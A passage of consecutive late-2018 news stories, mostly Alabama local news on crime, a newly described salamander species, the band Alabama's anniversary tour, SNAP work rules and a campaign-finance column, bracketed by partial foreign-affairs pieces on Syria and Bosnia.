border but keep light ones to defend critical border towns such as Kobani against Turkey. But the YPG will need to act fast and seal an agreement while US forces are still around. Some speculate that Assad is ready to revert to his late fathers ways of weaponizing the Kurds against Turkey without giving them anything in return. Its far from clear that the Kurds would go for it or that the strategy, which relied on moving Kurdish fighters into Turkey through Iraq, could still work. Besides, Turkey could decide to cut its own deal with the regime. The idea will have surely been floated during Erdogans meeting with Assads top ally, Iranian President Hassan Rouhani, in Ankara today. Iran will likely try to tie Assads hands when it comes to giving the Kurds anything, Ahmed predicted. This is because like Turkey, Iran is afraid that any concessions from Damascus would sharpen similar demands among Irans own restive Kurds. But all such scenarios rest on the benign assumption that the 7-year-old Syrian conflict is winding down. With the United States exit, it may be on the cusp of an even more intractable and bloodier phase. Alabamians using Airbnb to host guests earned a combined $31 million in 2018, the company announced today. Approximately 215,000 guest arrivals took place statewide this year. There are now more than 2,600 hosts using Airbnb in Alabama, typically earning about $6,100 annually in supplemental income, according to the company. Baldwin County led all Alabama counties by a wide margin, with hosts earning about $17.3 million on 96,000 visitors. Jefferson was second, earning $2.7 million, while Mobile County earned about $2 million. Madison, Tuscaloosa, Lee, Montgomery, Tallapoosa, Lauderdale, Cullman, Marshall, Shelby, Elmore, DeKalb and Talladega Counties rounded out the top 15. This year, Airbnb also launched Experiences, spotlighting historical, culinary, recreational and sightseeing opportunities state wide, with plans to expand the service further in 2019. Fans of the Alabama band will have another chance to hear their favorite songs performed live by the men who created them. Randy Owen, Teddy Gentry and Jeff Cook, founders of the country group from Fort Payne, have announced a 50th anniversary tour that will celebrate five decades' worth of music and travel throughout the United States in 2019. Nearly 30 dates have been confirmed, Jan. 10-Sept. 14, and more are soon to follow, a press release says. Guitarist and fiddler Cook, who has Parkinsons disease, will perform on the tour as much as hes physically able, a publicist said. Cook, 69, revealed in 2017 that hed been diagnosed with Parkinsons, a disorder of the nervous system that affects movement. The disease is progressive and cant be cured, although symptoms can be controlled with medication. According to a story last year in The Tennessean, Cook said hed stop touring regularly, but encouraged his bandmates to continue, with or without him. This disease robs you of your coordination, your balance, and causes tremors, Cook said in a prepared statement. For me, this has made it extremely frustrating to try and play guitar, fiddle or sing. Ive tried not to burden anyone with the details of my condition because I do not want the music to stop or the party to end, and that wont change no matter what. Let me say, Im not calling it quits but sometimes our bodies dictate what we have to do, and mine is telling me its time to take a break and heal. Since that time, Alabama has toured without Cook, but Owen and Gentry made it clear that hell always have a place on stage with the band. We could hire 10 people, but we cant replace Jeff Cook in the group Alabama, Gentry told The Tennessean. No dates in Alabama were included on the first leg of the 50th anniversary tour, but the band has a long history of performances in its home state, in cities such as Birmingham, Huntsville, Orange Beach and more. Heres the list of shows announced this week: Jan. 10, Detroit, The Fox Theatre (with Chris Janson) Jan. 11, Indianapolis, Bankers Life Fieldhouse (with Restless Heart) Jan. 19, Atlantic City, N.J., Hard Rock Live at Etess Arena Jan. 20, Albany, N.Y., Times Union Center (with Exile) Feb. 14, San Antonio, Texas, San Antonio Stock Show & Rodeo Feb. 15, New Orleans, Smoothie King Center (with Tracy Lawrence) Feb. 28, Plant City, Fla., Florida Strawberry Festival March 1, St. Augustine, Fla., St. Augustine Amphitheatre March 14, Salem, Va., Salem Civic Center (with Oak Ridge Boys) March 15, Pittsburgh, PPG Paints Arena (with Tracy Lawrence) March 22, Springfield, Mo., JQH Arena (with Charlie Daniels Band) March 23, North Little Rock, Ark., Verizon Arena (with Charlie Daniels Band) April 5, Greensboro, N.C., Greensboro Coliseum (with Charlie Daniels Band) April 6, Charlottesville, Va., John Paul Jones Arena (with Charlie Daniels Band) April 12, Wilkes-Barre, Pa., Mohegan Sun Arena (with Charlie Daniels Band) April 13, Hartford, Conn., XL Center (with Charlie Daniels Band) April 26, Providence, R.I., Dunkin Donuts Center (with Charlie Daniels Band) April 27, State College, Pa., Bryce Jordan Center (with Charlie Daniels Band) May 31, Cedar Rapids, Iowa, U.S. Cellular Center June 1, La Cygne, Kan.,Tumbleweed June 6, Myrtle Beach, S.C., Carolina Country Music Festival June 7, Macon, Ga., Macon Centreplex Coliseum (with Marshall Tucker Band) June 13-16, Grand Junction, Col., Country Jam (performance date TBA) June 15, Salt Lake City, Utah, Maverik Center June 26, Minneapolis, Target Center (with Charlie Daniels Band) June 27, Oshkosh, Wis., Country USA Sept. 14, Peoria, Ill., Tailgate N' Tallboys Tickets are on sale via Ticketmaster. Prices vary in each city, but a check on Ticketmaster revealed prices ranging from about $45 to $250 at most shows. Alabama was formed in 1969 in Fort Payne as Wildcountry. The band changed its name to Alabama in 1977 and became one of the most successful groups in country music, peaking in the 1980s with multiplatinum albums and a slew of radio hits that included Tennessee River, Mountain Music, Dixieland Delight, The Closer You Get, Song of the South, Roll On (Eighteen Wheeler) and many more. The band continued to record and perform regularly until the early 2000s, playing to a devoted fan base. Alabama traveled on a high-profile farewell tour in 2003-2004, but returned to the stage several times over the years. One of the most notable shows was the 2011 Bama Rising benefit concert at the BJCC Arena in Birmingham. Alabama headlined the star-studded event, raising about $2.2 million for tornado relief in its home state. Alabama reunited for a Back to the Bowery tour in 2013 and released a new album, Southern Drawl, two years later. A Las Vegas cremation service is offering a reward for stolen cremated remains. KVVU-TV in Las Vegas reported Monday that Las Vegas Cremations is hoping a $3,000 reward will lead to the return of three sets of cremated remains. One set of remains stolen belonged to 77-year-old Joel Pugatch, who died last month. Joel Pugatchs daughter, Deborah Pugatch, told AL.com that Las Vegas Cremations today told the family an investigator from Las Vegas Metro Police has been assigned to the case. The company said the remains were in the process of being shipped Friday when someone stole them from a postal employee. It also said in a statement it is shocked and saddened by the criminal act. A memorial service for Joel Pugatch was held Saturday in his community in Parker, Arizona. Deborah Pugatch said the family knew they would not receive the remains in time for them to be present at the memorial service. They expected the remains to arrive in Birmingham this week. No information about a suspect was immediately available. A rural Alabama police department that used social media to scold community members for rejecting God is coming under fire from a group that opposes mixing government and religious faith. A statement posted on Facebook by the Opp Police Department on Tuesday blames a spike in area homicides on the idea that young people have turned away from God and "embraced Satan." The post followed two gunshot killings in as many days in Covington County, located on the Alabama-Florida line. But the Wisconsin-based Freedom From Religion Foundation says police in the town of 6,500 people are wrongly promoting religion with the social media message. The group says it's illegal for a government entity to endorse or criticize religious belief. Opp police didnt immediately return a phone call Thursday seeking comment. This was the Facebook message: THIS PAST SUNDAY, A YOUNG MAN WAS SHOT AND KILLED IN KINSTON. MONDAY NIGHT, A MOTHER WAS SHOT AND KILLED IN NORTHERN COVINGTON COUNTY. THERE HAVE BEEN FIVE MURDERS IN COVINGTON COUNTY IN 2018. THESE MURDERS HAVE BEEN DONE BY OUR YOUNG PEOPLE. THIS IS HAPPENING BECAUSE WE HAVE TURNED AWAY FROM GOD AND EMBRACED SATAN. WE MAY HAVE NOT MEANT TO DO SO BUT, WE HAVE. IT IS TIME TO ASK FOR GODS HELP TO STOP THIS. IT IS TIME TO BE PARENTS AND RAISE OUR CHILDREN, NOT HAVE THEM RAISE US. IT IS TIME TO FULLY SUPPORT LAW ENFORCEMENT AND STAND BY THE OFFICERS AND DEPUTIES THAT ARE FAR TOO OFTEN HAVING TO WALK INTO THESE DANGEROUS SITUATIONS AND CLEAN UP THE MESS. FRIENDS, IT IS TIME TO STAND UP AND BE RESPONSIBLE, GROWN UP LEADERS IN OUR COMMUNITY. BOTTOM LINE, THERE ARE SHEEP; THERE ARE WOLVES AND THERE ARE SHEEP DOGS. WHICH GROUP DO YOU BELONG TO ? Discovering or describing in scientific literature a new species is hard nowadays. Most of the unknown species are unknown for a reason, living in remote areas, possibly being very small or looking very much like similar species. But this month two Auburn PhD graduates bucked the trend and found a whopper, publishing for the first time a formal description of the reticulated siren, or Siren reticulata, a two-foot long aquatic salamander living in southern Alabama and the Florida Panhandle. The paper, published Dec. 5 in peer-reviewed scientific journal PLOS ONE, introduced the world and the scientific community to the reticulated siren, a species Sean Graham and David Steen spent years searching for while earning their PhDs at Auburn and finally captured in a marsh along the Florida-Alabama border. Graham is the first author on the publication, along with Steen, Crystal Kelehear, and Richard Kline, who provided tissue samples of similar species that proved the animals captured by Graham and Steen were a different species from similar known salamanders. Since then, the discovery has been featured in The New York Times, The Washington Post, CNN, NPRs Science Friday and a plethora of science publications. Kelehear is also Grahams wife and the same week their paper naming the reticulated siren was accepted for publication, the couple also named their first child Stanley. Theres been a lot of good stuff happening, Graham said in a phone interview from Sul Ross State University in west Texas, where hes now an assistant professor of biology. For a biologist discovering a new species is one of the more exciting, or at least relatable experiences, and the reticulated siren is one of the largest vertebrate species described in the United States in the last 100 years. Dave and I both knew that if we got the reticulated siren described, we finally would have accomplished something great that everyone can understand, Graham said. We found a giant salamander under everyones noses and described it as a new species. Siren call For decades, the small handful of people who had seen a reticulated siren called it a leopard eel, due to the intricate markings on its slimy skin and slithery appearance that can look more serpentine than salamander. The reticulated siren has only front legs, and short, flimsy ones at that. The much more striking features of the animal are the external gills, which occasionally protrude from around its head like tiny Christmas trees. Even before they shared an office as PhD biology students at Auburn, Graham and Steen had heard campfire tales of this undescribed new species of salamander slithering about in murky ponds and slow-moving streams of south Alabama and northwest Florida. Graham heard from a biologist in Georgia a tale of encountering dozens of the undescribed eels slithering across a road near Florala. Steen saw his first leopard eel in 2007, in a jar at the Auburn collection, where one of his professors showed off the specimens in a jar of a new species just waiting for someone to describe it. Those specimens had been collected in the Fish River in Baldwin County in 1970 but had gone unnamed for more than 40 years. Graham and Steen decided to take on the challenge of giving a formal name and description for the species but had no idea it would take them more than a decade. The pair had no dedicated funding to search for a mysterious salamander, and their explorations were mostly limited to weekend camping trips at Lake Jackson, and unrelated work at other sites across the region where the salamanders might live. They still occasionally refer to their salamander as the leopard eel, a creature they chased for years before Steen finally captured one while working on a longleaf pine forest restoration project at Eglin Air Force Base in Okaloosa County, Fla. He called Graham, who drove to Florida to see the living specimen. The first time I ever saw a leopard eel, it was a living specimen and I was blown away, Graham said. I couldn't believe it. It was so different looking. So beautiful. That was in 2009. Despite having captured a living specimen of what was clearly a new species, it would take many years of work before the description could be published and the species named and described. Progress stalled as the researchers finished their PhDs and moved on to other important tasks, like finding employment. For both of us, the real task was finding a job, Graham wrote in a blog entry chronicling the long search for the leopard eel. In 2014, Graham and Steen made another big leap forward when they caught three more reticulated sirens on a weekend trip to near Florala. They caught the sirens in a freshwater marsh on the Florida side of Lake Jackson, which is half in Florida and half in Alabama. From there, things moved quickly, at least by scientific standards. They compared the DNA from their new species to greater sirens, the closest known relative, as well as taking measurements and comparing the animals physical similarities. They captured greater sirens from a few miles away from the Lake Jackson site to demonstrate that these reticulated sirens were a distinct species. They obtained some lesser sirens from collections in Arkansas and Texas to satisfy concerns that the reticulated siren might be a strange variant of that species. Steen came up with the name reticulated siren, based on the distinct markings on the animals body and Graham said he immediately agreed. A manuscript was submitted to PLOS. The researchers received peer-review feedback from other biologists and responded to their concerns. In the summer of 2018, the journal accepted the paper for publication, signifying that the reviewers questions had been addressed and the researchers had proved that their animal was indeed a distinct species. On Dec. 5, the reticulated siren became part of the scientific record. Its an Alabama salamander, and its large Though all four living reticulated sirens captured for the paper were in Florida, Graham said theres no doubt the salamander is in Alabama as well. The wetlands around Lake Jackson seem to be the most reliable place to catch a reticulated siren, and salamanders dont care much about state lines. In addition, the specimen caught in the Fish River all those years ago shows that the animals lived there, at least in the 1970s, and that they likely could be found in lots of south Alabama ponds, marshes and slow-moving streams, buried among leaf litter, searching for small crustaceans to eat. I would say the entire Mobile-Tensaw Delta could be just a glory land for these guys, Graham said. Graham said hes now seen seven reticulated sirens, four living and three preserved in jars at Auburn. While the longest of those is about two feet long, Graham said he could easily see the siren reaching three feet in length. He said the average size of those seven specimens was close to the average size of the greater siren, which are known to reach three feet. We'd get a better handle on their size range if we do a little more research on it, Graham said. I suspect based on the ones that we found that they're probably occasionally three feet long. Whats next for the salamander? Though Graham and Steen satisfied reviewers that the reticulated sirens they caught were not members of any known species, there are still significant questions about where the animal fits in on the siren family tree. Graham said, if funding could be secured, he would love to pore through other museums collections to see if they had any reticulated sirens that had been mistakenly labeled as greater sirens or as an unknown species, like the ones in Auburns collection that sat unidentified for nearly 50 years. Additional specimens would give a better idea of the range of the species and more genetic material to figure out the ancenstry of the slippery two-legged salamander. It may well be that there are additional unknown siren species lurking in southeastern marshes, waiting to be described. I would guess that the University of Florida probably has a lot of these in their collection that they just never set aside as being different, Graham said. The University of Alabama may have some, and the University of South Alabama down in Mobile, they probably have some hidden in their collections as well. I think that would be an easy first step, and then the thing would be getting out in the field, revisiting those spots (where museum specimens were captured), and really trying to nail down their distribution and ecology. The tricky part for that will be funding and time. Graham has a heavy teaching load and lives in Texas. Steen now works as a wildlife ecologist at the Georgia Sea Turtle on Jekyll Island. It may fall to other researchers to decipher the salamanders biology and history, but Graham isnt totally ready to give up on doing more research on his siren just yet. Ive got a pretty heavy teaching load, so its a little tough to get time, Graham said. I do have the summers off though, so if I can get some funding Id love to get back to the swamps and keep looking for salamanders. The Dauphin Island prosecutor was arrested and charged with a DUI Wednesday night. Mobile County Jail records, specifically the 24-hour booking system, showed that Robert Nash Campbell was booked into the Metro Jail at around 10.15 p.m. He was later released. Alabama Court filings show that Campbell is set to prosecute an individual who was allegedly found with drug paraphernalia in the front seat of their car in Dauphin Island earlier this year. The case is set to go ahead in January. This post will be updated when more information becomes available. A Florida sheriffs deputy killed three of his family members, including his granddaughter, before taking his own life Wednesday, Hillsborough County police said. In a 6:42 a.m. transmission to the department's main radio channel, 58-year-old Terry Strawn admitted to fatally shooting his wife, 54-year-old Teresa Strawn; daughter, 32-year-old Courtney Strawn; and granddaughter, 6-year-old Londyn Strawn, at two separate residences using his service weapon, according to authorities. Strawn, a school resource deputy, detailed where the crimes took place before announcing that he was going to kill himself at nearby Plant City High School, County Sheriff Chad Chronister said during a news conference. His final transmission alluded to emotional and financial problems. The deputy said he planned to kill himself at Plant City High School. "The supervisor immediately got on air and did everything they could to talk him down, calm him down and bring some calm to the situation," Chronister said. They implored him: " 'Don't do something that's a permanent solution to a temporary problem.' " But their pleas were futile. Three deputies soon located Strawn near Plant City High School and again begged him not to pull the trigger. He shot himself moments later in front of his colleagues. Officials say they are still working to understand what led Strawn to violence. He apparently suggested during the radio call that he "was losing everything" and "had to go be with his family," the sheriff said. The Tampa Bay Times reported that Strawn and his wife purchased a house earlier this year, according to court records, and had filed for bankruptcy protect in 2011. Until the killings, Strawn, who was hired by the department in 1991, maintained a "phenomenal reputation," Chronister said. When Strawn was commended for his work in 2009, then-Sheriff David Gee said "Deputy Strawn is persistent, leaving no stone unturned in his pursuit of the lawbreakers," and that "his high rate of success in the location and capture of numerous suspects has earned him this year's top honor in east Hillsborough County," according to the Tampa Bay Times. Strawn retired briefly about two years ago, but he was rehired last summer as a school security deputy at Valrico Elementary School - which his granddaughter attended. The sheriff said Strawn passed a background check and psychological exam when he was hired back, which included a verbal examination and interview with a psychiatrist. He never faced serious disciplinary issues. "Nothing that would lead any employee to believe this employee was struggling," Strawn said. Chronister said Strawn was excited about his job at Valrico Elementary. Hillsborough County Schools released a statement after the killings, ABC Action News reported: "The staff and families at Valrico Elementary are devastated by this unthinkable tragedy. Londyn was a first grade student at the school. She loved to learn and was excited about reading and math. She had a kind spirit and always helped classmates. The news came as a shock to everyone at the school and they are working through their grief. Our district has crisis team members at the school to work with staff members. We have let parents know crisis team members will be at school Thursday for any students who want to talk." In September, 39-year-old Deputy Kirk Keithley - also a Hillsborough County sheriff's deputy - killed his wife before shooting himself, ABC Action News reported. Four children were inside the home at the time, though none was harmed. Law enforcement officers face a 69 percent higher risk of suicide compared to the general population, John Violanti, who studies police stress at the University of Buffalo, told The Washington Post's Michael Miller. According to police nonprofit Badge of Life, 140 law enforcement officers killed themselves in the United States, up from 108, in 2016. We have to change the culture, Chronister said Wednesday. "We have to make sure everyone knows its OK to ask for help. Its not a sign of weakness to say: Hey, Im having a difficult time. Im having a hard time. I need some help. " Tighter food stamp restrictions are coming under a White House plan that would expand work requirements for those receiving assistance. The U.S. Department of Agriculture plan would add additional restrictions on states ability to exempt non-disabled adults from job requirements, according to The Associated Press. Agriculture Secretary Sonny Perdue said the regulatory changes would save some $15 billion over 10 years. Currently, able-bodied adults between 18 and 49 without children are required to work 20 hours a week to receive Supplemental Nutrition Assistance Program, or SNAP, the official name for food stamps. Non-disabled adults without dependents are limited to three months of SNAP benefits in a three-year period if they dont meet the work requirements. States with unemployment rates of 10 percent or higher are able to apply for one-year waivers on work requirements, however. Currently, waivers are in place in Alaska, District of Columbia, Louisiana and New Mexico. Twenty-nine states are approved for partial waivers based on area-by-area unemployment. Alabama is one of 17 states that does not grant work-requirement waivers. The USDA proposal would limit waivers to areas where unemployment is 7 percent or higher, the AP reports. It would also require a governor to support a request for an exemption and limit the geographic area that can be covered. The move comes after Congress rejected a farm bill that contained many of the same reforms. Update: The GoFundMe campaign to raise money to pay for President Trumps border wall has topped $11 million as of Friday morning. The campaign has raised $11.661 million out of its $1 billion goal. More than 191,500 people have donated, including an anonymous donor who has pledged $50,000. The campaign has already received a $12,000 donation, as well as several $10,000 pledges. Earlier: A GoFundMe account to pay for a wall at the U.S. Mexico border has garnered more than $4.9 million in donations since it was started three days ago. Brian Kolfage, a 37-year-old disabled Florida veteran who has appeared on Fox News, started the campaign to bolster President Trumps efforts to build the wall. As of Thursday morning, the campaign has netted $4.865 million with donations from 79,662 people. The current goal is $1 billion but Kolfage said he is working with the donation site to raise the limit. Most of the donations are small ranging from $20 to $100. You can see the GoFundMe page here. Kolfage said there is precedence for the government accepting large donations from private sources. A billionaire donated $7.5 million to fund half of the Washington Monument repairs in 2012; this is no different, he said. If the 63 million people who voted for Trump each pledge $80, we can build the wall. That equates to roughly $5 billion. Even if we get half, thats half the wall. We can do this. Congress and the White House are currently in a standoff over funding the wall, which is estimated to cost some $12 billion to $20 billion. President Trump has reportedly threatened to veto a short-term spending deal that doesnt include wall funding but would keep the government open beyond Friday. Kolfage said he is in contact with the Trump administration but did not provide additional details. All funds will be held until legal aspects of the donation are worked out, he said, and money will be refunded if the campaign doesnt come significantly close to its goal. This is an opinion column. This week Alabama Attorney General Steve Marshall came just one vote away from being referred for prosecution by the Alabama Ethics Commission. In a split decision, Wednesday, the Commission voted 3-to-2 that there was insufficient evidence Marshall violated Alabamas Fair Campaign Practices Act when he accepted $735,000 in PAC-to-PAC contributions across state lines but not before two Commission members, Beverlye Brady and Charles Price, pushed to hand Marshall over to the Montgomery County District Attorney. Chew on that for a moment. We were one vote away from one of our states constitutional officers falling into Montgomerys politics-to-prison pipeline again. Dont be so relieved, though, that it didnt happen. The Ethics Commissions decision will have serious consequences beyond Marshalls future. With their vote, the Commission gave its blessing to a new loophole in our states campaign finance laws which will now let public officials legally launder campaign donations again. Heres the backstory. Before 2010, lobbyists and politicians hid the flow of money from special interests to campaigns by shuffling that money back and forth between political action committees (PACs). Following the money was impossible. After Republicans took control of the Legislature in 2010, they passed a package of reforms that shut down this money laundering machine. They made PAC-to-PAC contributions, as theyre called, illegal. However, that didnt stop Steve Marshall from accepting $735,000 from the Republican Attorneys General Associations PAC which is based in Washington, D.C. That PAC takes money from other PACs. But because its an out-of-state federal PAC, Marshalls campaign argued that it wasnt subject to Alabamas PAC-to-PAC ban. Guidance issued by the Alabama Secretary of States office concurred with Marshalls opinion. The Secretary of States website says that federal PACs arent subject to Alabama law. The only trouble is, no one seems able to show where the law actually says that. And the Alabama laws definition of a PAC is pretty clear: Whether in-state or out-of-state, if its trying to influence an Alabama election, its a PAC subject to the state law. At least thats what Ethics Commission Director Tom Albritton has told others in the past, and its pretty clear despite the closed-door session thats what Ethics Commission staff argued on Wednesday. And thats the argument the Commission rejected. The staff also submitted an opinion, for the Commission to approve, that would have made the law clear that going forward, all PACs contributing to Alabama candidates would have to register with the state and obey Alabama campaign finance laws. The Commission rejected that, too, voting again in the same 3-to-2 split. The bottom line: Theres nothing now to stop lobbyists and special interests from cranking up their old money laundering machine as long as they do it across state lines. Whats worse, this loophole could be used to skirt more than the PAC-to-PAC ban. Currently, Alabama law limits campaign fundraising to a year before an election. But I cant find anything would stop public officials from getting around this prohibition, too using Marshalls loophole. Heres how anyone could do it. Step One: Open an out-of-state PAC. Step Two: Solicit donations for that PAC when the states legal window is closed. Step Three: When the window opens, transfer the money from the out-of-state PAC to the campaign. If Im right, we might as well not have campaign finance laws in Alabama. Because youve read this column, you too know enough to get around them. Whether it felt Marshall deserved to be prosecuted or not, the Commission had an opportunity to close an open door for corruption in Alabama. Instead, it took that door off its hinges. Kyle Whitmire is the state political columnist for the Alabama Media Group. Want access to the best analysis and in-depth reporting about Alabama each week? Sign up for the weekly Reckon Report newsletter and follow Reckon on Facebook and Twitter. A Madison man has been sentenced to federal prison in an online drug trafficking conspiracy involving methamphetamine, fentanyl, cocaine and more, authorities said. Joseph William Davis was sentenced on Wednesday to 126 months, according to the Department of Justice. Davis was sentenced in U.S. District Judge Madeline Hughes Haikalas courtroom. Federal law enforcement will continue to shine a spotlight on drug dealers operating in the darkest corners of the internet, said Jay Town, U.S Attorney for the Northern District of Alabama in a news release. Federal prison beds await them all. Davis, 26, was known online as OlympusXans, or OX, according to federal prosecutors. He used encrypted internet chats to arrange smuggled shipments of drugs that were to be delivered through the mail to Madison County addresses, according to the DOJ. Davis pleaded guilty in August to conspiracy to traffic drugs, including fentanyl and methamphetamine, federal authorities said. He also pleaded guilty to possessing firearms in furtherance of drug trafficking. U.S. Postal Inspection Service Inspector in Charge Adrian Gonzalez prasied the work of law enforcement in prosecuting Davis. Together we will continue to be vigilant in identifying and working to prosecute those who illegally utilize the mail while keeping the safety of the American public and our Postal Service employees at the forefront, Gonzalez said in a news release. DEA Associate Special Agent in Charge Brad Byerley said Davis case should send a message to other drug dealers. It should put others who engage in this type of activity on notice: if you sell drugs, whether on the street corner or online on the dark web, you will face federal charges and a lengthy prison sentence, Byerley said in a statement. This sentence in federal prison sends a message of our unending resolve to pursue drug traffickers who wreak havoc in our communities. U.S. Postal Inspectors, the Drug Enforcement Administration, Huntsville-Madison County STAC and the Cullman County Sheriffs Department investigated the case, which Assistant U.S. Attorney Jonathan S. Keim prosecuted. A man who was shot at a home in New Market early Wednesday morning has died from his injuries, according to the Madison County Sheriffs Office. Lt. Donny Shaw said 49-year-old Thomas Murphree died at Huntsville Hospital just before 5 p.m. About 3 a.m. Wednesday, two different people called 911 to report a shooting in the 100 block of Buddy Williams Road. Murphree was one of the callers, Shaw said. Murphree told dispatchers he had been shot. Around the same time, a woman now identified as Elyssa Nelson, called 911 from a neighbors home to report she had been held and had shot a man, Shaw said. HEMSI, Madison County Fire and deputies responded to the home on Buddy Williams road to find Murphree suffering from gunshot wounds to his wrist and upper torso, he said. He was taken to Huntsville Hospital by MedFlight, where he remained until he died, officials said. Shaw said Nelson was taken to the Criminal Investigation Division, where she was interviewed and released. Officials say a family member took to her a hospital for evaluation and treatment. Shaw said Murphree and Nelson are in a domestic relationship. The shooting seems to have stemmed from a physical altercation between them, he said. Nelson ran to a neighbors home after she shot Murphree twice, he said. Investigators obtained a search warrant for the property where the shooting happened. This is an ongoing investigation and as it matures and further develops updates will be provided. Investigators will forward the findings of their investigation to the District Attorneys Office for presentation to a Grand Jury, Shaw said. Further details about the investigation were not immediately available. Two Birmingham men have pleaded guilty to the armed carjacking of a woman at Walmart in Homewood. Keven Elice Payne, 20, and Kenmarious Markeon Faulkner, 18, entered their guilty pleas this week before U.S. District Court Judge Karon O. Bowdre, according to a joint announcement by U.S. Attorney Jay Town and FBI special Agent in Charge Johnnie Sharp Jr. The holdup happened Oct. 5 outside the Walmart Supercenter on Lakeshore Parkway. As the woman was getting into her silver 2005 Buick LeSabre, Payne and Faulkner appeared and prevented her from closing the door. Payne, who was wearing a ski mask and brandishing a pistol, told the victim, Ill blow your head off if you dont give me your money. Both men then grabbed the woman and forcibly removed her from the vehicle. They stole her sedan and sped away. A lookout bulletin was issued and, a short time later, police spotted the Buick LeSabre on Interstate 65 and tried to pull over the driver. The driver refused to stop, and a pursuit ensued. The chase ended at Oporto-Madrid Boulevard and First Avenue South when officers used their patrol vehicles to box in the suspects. The suspects' vehicle made contact with the Homewood cruiser and became disabled. The two suspects were taken into custody without further incident. Police recovered a handgun. Homewood police the following day obtained formal warrants against Faulkner and Payne. Both men pleaded guilty the charges of carjacking and use of a firearm in relation to a violent crime. Payne entered his plea Wednesday; Faulkner on Tuesday. They are set to be sentenced on April 17. The maximum penalty for carjacking is 15 years in prison. Brandishing a firearm during a crime of violence carries a mandatory minimum sentence of five years in prison, to be served consecutively to any other sentence imposed for the crime. These violent defendants have been brought to justice and they will have plenty of time in a federal prison to pay for their crimes, Town said. These crimes are far too prevalent in the Northern District and thus our local, state, and federal law enforcement agencies will remain in their phalanx to not only police violent crime but defeat it. Thanks to the work of the Homewood Police Department these dangerous and violent criminals were quickly taken into custody and have now admitted to their crimes, Sharp said. The FBI will continue to work with our partners to address this type of violent crime. A 21-year-old Birmingham man has been arrested after authorities say he was among a group of people who opened fire Tuesday evening in a Center Point neighborhood. The shooting incident happened just after 5:30 p.m. in the 2400 block of Fifth Street N.W. Jefferson County sheriffs Chief Deputy Randy Christian said deputies responded to the location on a shooting complaint. It was reported that shots had been fired from two cars at a group of four men who had been standing outside the residence, he said. Homes and cars were struck by gunfire, but no one was injured. The victims told deputies that they had been outside when two vehicles drove slowly down the street. The occupants of the vehicles began shooting at them. They also reported that they knew the suspects and had been in a previous altercation with them. The victims provided the names of the suspects and a description of the vehicles. The suspect and vehicle descriptions were broadcast to deputies who patrol the Center Point area. On Wednesday, a deputy on patrol spotted one of the vehicles at an apartment complex and conducted a traffic stop. The passenger in the car was found to be in possession of a handgun that had been reported as stolen to the Huntsville Police Department. Both the driver and passenger were taken to the Center Point substation to be questioned by detectives. Investigators learned the driver of the car had not been involved in the shooting and had no knowledge of it. He was released. The passenger admitted to taking part in the shooting by driving one of the cars involved. He was arrested and taken to the Jefferson County Jail to await formal charges of attempted murder. His name is withheld pending formal charges. The investigation is ongoing and additional arrests and charges are expected. Its beyond disturbing how some of our young people put so little value on life, including their own, Christian said. This was outstanding work by our patrol and detective personnel working closely with the Metro Area Crime Center. Investigators in two central Alabama counties are hoping a sketch of a man suspected in the rapes of two elderly woman at their rural homes could lead to justice years after the crimes took place. Talladega County Sheriffs Office Sgt. Mike Jones said their investigation began on July 28, 2013. Thats when an elderly woman answered a knock at the door of her home and found an unknown black male who said he was there to try to sell her some books. Moments later, however, the man ask if she was home alone and thats when the victim tried to the close the door. The suspect then forced his way inside, demanded money and sexually assaulted the woman. Initially, Jones said, the victim was only able to give a brief description of the suspect. As the investigation continued, detectives learned a similar attack had happened the previous year in nearby Calhoun County on July 15, 2012. There are a number of similarities in the circumstances surrounding both crimes and investigators said they believe the victims were not picked at random by the suspect. We have worked closely with them and we do believe these two are related. The victims have been able to continue their work with a sketch artist to refine the drawing of the suspect. A reward of $10,000 offered by the governors office has been in place since 2013. We have worked many leads, Jones said. Were just hoping this sketch will maybe give us the information we need to make an arrest. The suspect is described as a black male, about 5-feet, 6-inches to 5-feet, 8-inches tall and weighing at least 200 pounds. Anyone with information is asked to call the Talladega County Sheriffs Office at 256-761-2141, the Calhoun County Sheriffs Office at 256-236-6600 or Crime Stoppers at 256-238-1414. Croatias demands to reform Bosnias electoral law are viewed as dangerous interference in its neighbours affairs. The results of Bosnias presidential elections, specifically its Croat seat, have deepened diplomatic discord between Croatia and Bosnia. Since the October 7 poll, critics have accused Zagreb of undermining Bosnias sovereignty by meddling in its political affairs. Zeljko Komsic, leader of the Democratic Front party, won the Croat seat of Bosnias triumvirate presidency, beating incumbent Dragan Covic, the nationalist leader of Bosnias main Croat party, the Croatian Democratic Union (HDZ). HDZs sister party in Croatia, led by Croatian Prime Minister Andrej Plenkovic, supported Covic financially and politically to secure his win, yet Komsic still won by more than 70,000 votes. Since then, Croatia has denied the legitimacy of Komsics re-election his third term since 2006 arguing that he was heavily supported with votes by Bosniaks who outnumber Croats living in the Federation entity. HDZ representatives claim that presidency members can only be legitimately elected by members of their own people and that votes should be counted from cantons with a clear Croat majority in order to outvote Bosniaks. Newly elected Croat member of Bosnias presidency Zeljko Komsic, a moderate, is viewed by hardliners as not being Croat enough [Amel Emric/AP] According to Bosnias constitution formulated under the Dayton peace agreement in 1995, Bosnian citizens living in the Federation entity vote for the Croat and Bosniak member of the presidency, while Bosnians living in the Serb-run entity of Republika Srpska vote for the Serb member of the presidency. For months, Croatia has been lobbying the EU and NATO to force Bosnia to reform its electoral law and constitution, to ensure equality among the three constituent people. Last week, the Croatian parliament adopted a declaration (81 voted for, four abstained and 11 against) calling for Bosnia and Herzegovina (BIH) to enact these changes after a three-day deliberation. The resolution is not binding, but Bosnia views it as yet another attack on its sovereignty. The Zagreb government is working directly against the professed interests of the EU in its present approach to Bosnia. Jasmin Mujanovic, political scientist Jasmin Mujanovic, a political scientist who focuses on southeastern Europe, told Al Jazeera that the push represents the most serious effort by HDZ in Croatia to undermine Bosnia in decades. The combination of threats, disinformation, and brinkmanship has created the impression of virtual irredentism as far as their relationship with Bosnia and Herzegovina is concerned, Mujanovic said. Its also alarming because it represents a sharp departure from the established EU approach to [Bosnia and Herzegovina]. So, while officials in Brussels are calling for dialogue and, in the long term, constitutional reform to address the structural flaws with the Dayton constitution, the HDZ is insisting upon a reactionary, zero-sum programme that actually strengthens the most problematic, segregationist aspects of Bosnias legal order. In other words, the Zagreb government is working directly against the professed interests of the EU in its present approach to Bosnia. Deeply concerned Earlier in December, Carl Bildt, Christian Schwarz-Schilling and Paddy Ashdown, three former governors of Bosnia and Herzegovina, urged the EU to stop Croatia from interfering in Bosnias political affairs. In a joint letter submitted to Federica Mogherini, the former high representatives wrote that they were deeply concerned by Croatias continued meddling, advising that any electoral reform should aim to make 